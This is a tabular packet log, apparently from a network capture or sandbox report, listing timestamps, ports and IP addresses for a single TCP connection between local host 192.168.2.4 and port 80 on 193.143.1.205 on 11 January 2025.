Jan 11, 2025 08:14:36.536128998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536139965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536150932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536161900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536165953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.536201000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.536549091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536559105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536565065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536570072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536576033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536581993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536648989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.536927938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536942005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536952019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536964893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536974907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536982059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536987066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.536993027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.536993980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.537028074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.537373066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.537384033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.537394047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.537406921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.537416935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.537420988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.537431002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.537468910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.537496090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.538520098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.538532972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.538546085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.538578033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.538733006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.538743019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.538753033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.538764000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.538786888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.538796902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.538867950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.538878918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.538888931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.538909912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.538934946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.543122053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.548623085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.582596064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.582607985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.582622051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.582709074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.617388964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.617413044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.617423058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.617459059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.617497921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.617598057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.617608070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.617621899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.617643118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.617786884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.617796898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.617834091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.618026018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.618036985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.618067026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.620181084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.620229006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.620287895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.620296955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.620337009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.620368958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.620413065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.620424032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.620433092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.620452881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.620476007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.652884960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.652905941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.652915955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.652985096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.653074026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.653084993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.653115034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.653228045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.653239965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.653251886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.653264046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.653274059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.653290987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.653459072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.653470039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.653506041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.654993057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655044079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655045033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.655052900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655088902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.655131102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655225039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655235052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655302048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.655347109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655356884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655391932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.655458927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655468941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655478954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655488968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655495882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.655529022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.655733109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655746937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655756950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655775070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.655805111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.655947924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655957937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.655968904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656012058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.656191111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656199932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656215906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656225920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656234980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.656235933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656243086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656253099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656266928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656267881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.656317949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.656774044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656785011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656795025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656805038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656817913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656821966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.656829119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656836987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.656838894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656843901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656853914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656861067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.656862974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.656896114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.657452106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.657461882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.657474041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.657484055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.657490969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.657495975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.657514095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.657552004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.657829046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.657891989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.657906055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.657932043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.658008099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658018112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658029079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658049107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.658070087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.658246040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658258915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658268929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658284903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658297062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658303022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.658308029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658349037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.658374071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.658530951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658540964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658581018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.658587933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658597946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658607960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658618927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.658647060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.658675909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.659002066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659013033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659023046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659033060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659043074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659065962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.659094095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.659266949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659277916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659305096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.659365892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659377098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659398079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659408092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.659409046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659420013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659430981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659435034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.659441948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659452915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659455061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.659462929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659475088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.659486055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.659507990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.660044909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.660056114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.660062075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.660067081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.660075903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.660079956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.660089970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.660100937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.660105944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.660115957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.660123110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.660130024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.660151005 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.660170078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.663170099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.666902065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.669389009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.669429064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.669439077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.669476986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.669548988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.669559956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.669601917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.669699907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.669709921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.669720888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.669749975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.669759989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.687386990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.704263926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.704274893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.704284906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.704329014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.704338074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.704348087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.704358101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.704364061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.704410076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.704570055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.704580069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.704617023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.707056046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.707107067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.707109928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.707123995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.707160950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.707325935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.707336903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.707346916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.707357883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.707379103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.707406998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.739806890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.739830971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.739841938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.739947081 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.740061998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.740077019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.740093946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.740103006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.740114927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.740123034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.740148067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.740168095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.741873026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.741914988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.741926908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.741974115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.741998911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742010117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742043018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.742222071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742233038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742243052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742271900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.742295027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.742378950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742388010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742398024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742408037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742438078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.742463112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.742638111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742649078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742659092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742669106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742680073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742687941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742692947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.742697954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742712975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742723942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.742724895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.742747068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.742763042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.743110895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743154049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.743174076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743184090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743228912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.743361950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743371964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743383884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743393898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743403912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743415117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743421078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.743424892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743438959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743463039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.743486881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.743947983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743958950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743963957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743968964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743974924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743988037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.743998051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744008064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744019032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744019985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.744029045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744039059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744046926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.744052887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744065046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744076967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.744106054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:14:36.744839907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744851112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744860888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744870901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:14:36.744880915 CET	80	49730	193.143.1.205	192.168.2.4
